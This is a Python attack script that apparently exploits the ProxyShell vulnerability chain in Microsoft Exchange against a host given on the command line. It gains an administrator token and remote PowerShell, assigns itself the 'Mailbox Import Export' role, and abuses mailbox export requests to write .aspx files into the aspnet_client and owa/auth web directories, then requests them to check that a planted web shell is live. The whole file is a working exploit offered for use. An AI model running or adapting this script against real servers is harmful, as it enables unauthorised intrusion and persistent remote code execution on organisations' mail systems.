#!/usr/bin/env python3
import sys, time, random
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()
host = sys.argv[1]
ps = P.ProxyShell(f'https://{host}', timeout=80)
ps.get_fqdn(); ps.get_legacydn(); ps.get_sid()
ps.sid = ps.sid; ps.set_ews()
ps.sid = ps.admin_sid; ps.get_token()
port = random.randint(20000, 40000); P.start_server(ps, port); time.sleep(1)
P.wsman_shell('New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "%s"' % ps.email.split('@')[0], port)
time.sleep(2)
def exp(name, fullpath):
    cmd = ('New-MailboxExportRequest -Name "X%s" -Mailbox %s -IncludeFolders ("#Drafts#") '
           '-ContentFilter "(Subject -eq \'%s\')" -ExcludeDumpster -FilePath "%s"') % (name, ps.email, P.subj_, fullpath)
    try:
        o, e = P.wsman_shell(cmd, port)
        for x in o: print("  out:", str(x)[:160], flush=True)
        for x in (e or []): print("  err:", str(x)[:160], flush=True)
    except Exception as ex: print("  export exc", type(ex).__name__, str(ex)[:160], flush=True)
def get(url):
    try:
        r = requests.get(url, verify=False, timeout=20)
        return r.status_code, len(r.content), r.content[:14], (b'<script' in r.content), (b'!BDN' in r.content)
    except Exception as ex: return ('exc', str(ex)[:80], b'', False, False)
base = '\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\'
print("[T] export .txt ...", flush=True)
t = P.rand_string(5); exp(t, base + t + '.txt')
time.sleep(35)
print("  GET txt:", get(f"https://{host}/aspnet_client/{t}.txt"), flush=True)
print("[A] export .aspx (aspnet_client) ...", flush=True)
a = P.rand_string(5); exp(a, base + a + '.aspx')
time.sleep(35)
print("  GET aspx:", get(f"https://{host}/aspnet_client/{a}.aspx"), flush=True)
oa = '\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\'
print("[B] export .aspx (owa/auth) ...", flush=True)
b = P.rand_string(5); exp(b, oa + b + '.aspx')
time.sleep(35)
print("  GET aspx:", get(f"https://{host}/owa/auth/{b}.aspx"), flush=True)